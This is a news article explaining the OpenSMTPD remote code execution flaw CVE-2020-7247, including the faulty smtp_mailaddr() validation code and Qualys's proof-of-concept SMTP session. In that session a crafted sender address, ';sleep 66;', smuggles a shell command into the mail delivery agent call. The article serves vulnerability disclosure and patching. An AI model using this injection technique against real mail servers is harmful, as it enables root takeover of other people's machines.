Anatomy of OpenBSD’s OpenSMTPD hijack hole: How a malicious sender address can lead to remote pwnage
Code dive The OpenBSD project’s OpenSMTPD can be potentially hijacked by a maliciously crafted incoming email.
Infosec biz Qualys discovered and this week disclosed CVE-2020-7247, a root privilege-escalation and remote code execution flaw in OpenSMTPD. It can be exploited locally by a normal user to execute shell commands as root, if using the daemon’s default configuration, or locally and remotely if the daemon is using its “uncommented” default configuration, in which it listens on all interfaces and accepts external mail. Getting root access means it’s game over: the machine is now yours.
This bug is bad news for anyone running a public-facing, external-mail-accepting OpenSMTPD deployment. Check for security updates to close the hole, apply this patch, or disable the daemon. The version shipping with OpenBSD 6.6, the latest available, and Debian testing, aka Bullseye, are vulnerable to attack; other releases may be as well. The bug dates back to May 2018.
How it went wrong
After it receives an email, OpenSMTPD invokes a mail delivery agent to place the incoming message in the recipient’s inbox on the system. The delivery agent is invoked by OpenSMTPD executing a shell command, which includes the sender’s address as a command-line parameter. The sender’s address was supplied by whichever email client earlier connected to OpenSMTPD to send the message.
Passing this address straight to the shell as a parameter is dangerous because hackers can exploit this to inject extra commands to be executed. To avoid this, OpenSMTPD has a string called MAILADDR_ALLOWED
that defines the non-alpha-numeric characters allowed in a valid address. In addition, the string MAILADDR_ESCAPE
contains characters that are converted to a colon character to neutralize any threats. So, an address is valid if it contains only alpha-numeric characters, full-stops, and anything else in MAILADDR_ALLOWED
. And anything that’s also in MAILADDR_ESCAPE
gets converted to a colon. Thus whatever sender address is supplied by an email client, it can’t smuggle in extra commands.
Unfortunately, OpenSMTPD’s sender address validation code, smtp_mailaddr()
, accidentally jumps the gun and approves dangerous sender addresses that can inject arbitrary commands into delivery agent invocations. An email address has two parts, the local part and the domain part. For [email protected]
, corrections is the local part, and theregister.co.uk is the domain part. If the sender’s address has an invalid local part, and an empty domain part, smtp_mailaddr()
tries to helpfully add a default domain to the address, and then just OKs the string for use on the command line, ignoring the fact the local part is invalid.
Thus if you place invalid characters into the local part that inject commands into the command line that’s supposed to invoke the delivery agent, it’ll sail through when it’s not supposed to.
Here’s the C code at the heart of the security blunder – smtp_mailaddr()
should return the value 1 for a valid address and 0 for an invalid address when checking the address in the string pointed to by maddr
:
2189 static int 2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args, 2191 const char *domain) 2192 { .... 2218 if (!valid_localpart(maddr-user) || 2219 !valid_domainpart(maddr-domain)) { .... 2229 if (maddr-domain[0] == '') { 2230 (void)strlcpy(maddr-domain, domain, 2231 sizeof(maddr-domain)); 2232 return (1); 2233 } 2234 return (0); 2235 } 2236 2237 return (1); 2238 }
“If the local part of an address is invalid (line 2218) and if its domain name is empty (line 2229), then smtp_mailaddr() adds the default domain automatically (line 2230) and returns 1 (line 2232), although it should return 0 because the local part of the address is invalid (for example, because it contains invalid characters),” the Qualys team explained in its summary.
“As a result, an attacker can pass dangerous characters that are not in MAILADDR_ALLOWED and not in MAILADDR_ESCAPE (‘;’ and ‘ ‘ in particular) to the shell that executes the [mail delivery agent] command.”
Exploitation is trivial
To exploit this on your own deployment, connect to your local OpenSMTPD server using Netcat. The following interaction, provided by Qualys as a proof of concept, is just what your email client would go through with the server behind the scenes, though in this case, we’ll abuse the sender address field. Run nNetcat with:
$ nc 127.0.0.1 25
And the daemon will introduce itself:
220 obsd66.example.org ESMTP OpenSMTPD
Reply by saying hello to the software:
HELO professor.falken
It acknowledges you:
250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased to meet you
Here comes the magic. Inject the command sleep 66
to make the software pause for 66 seconds, using ; to escape from the delivery agent invocation:
MAIL FROM:;sleep 66;
And that’s it. The agent invocation command passed to the shell by OpenSMTPD will look something like /usr/libexec/mail.local -f ;sleep 66;
followed by the rest of the command, which will probably fail as it’s malformed having been cut in half by the ;...;
injection sequence.
All we care about is the first semicolon ending the mail.local
invocation prematurely so that our slipped-in sleep 66
runs, and the second semicolon walling off the rest of the invocation command from affecting our injected command.
With that sent, the server replies:
250 2.0.0 Ok
Great, it’s accepted. Play out the rest of the message delivery, such as setting the recipient and message contents:
RCPT TO:root 250 2.1.5 Destination address valid: Recipient ok DATA 354 Enter mail, end with "." on a line by itself How about a nice game of chess? . 250 2.0.0 e6330998 Message accepted for delivery QUIT 221 2.0.0 Bye
And with that, the agent command will be run, including our injected sleep.
Interestingly, Qualys said the vulnerability was thought to be much more limited when it was first found: achieving non-trivial command execution is difficult due to various restrictions in place. However, the team were inspired by the 1988 Morris worm’s abuse of the DEBUG vulnerability in Sendmail to achieve full remote-code execution.
“Exploitation of the vulnerability had some limitations in terms of local part length (max 64 characters is allowed) and characters to be escaped (“$”, “|”),” said Animesh Jain, Qualys vulnerability signatures product manager.
“Qualys researchers were able to overcome these limitations using a technique from the Morris Worm (one of the first computer worms distributed via the Internet, and the first to gain significant mainstream media attention) by executing the body of the mail as a shell script in Sendmail.”
Admins are advised to update their software and installations as soon as possible. ®
Sponsored:
Detecting cyber attacks as a small to medium business
Article source: https://go.theregister.co.uk/feed/www.theregister.co.uk/2020/01/30/openbsd_mail_bug/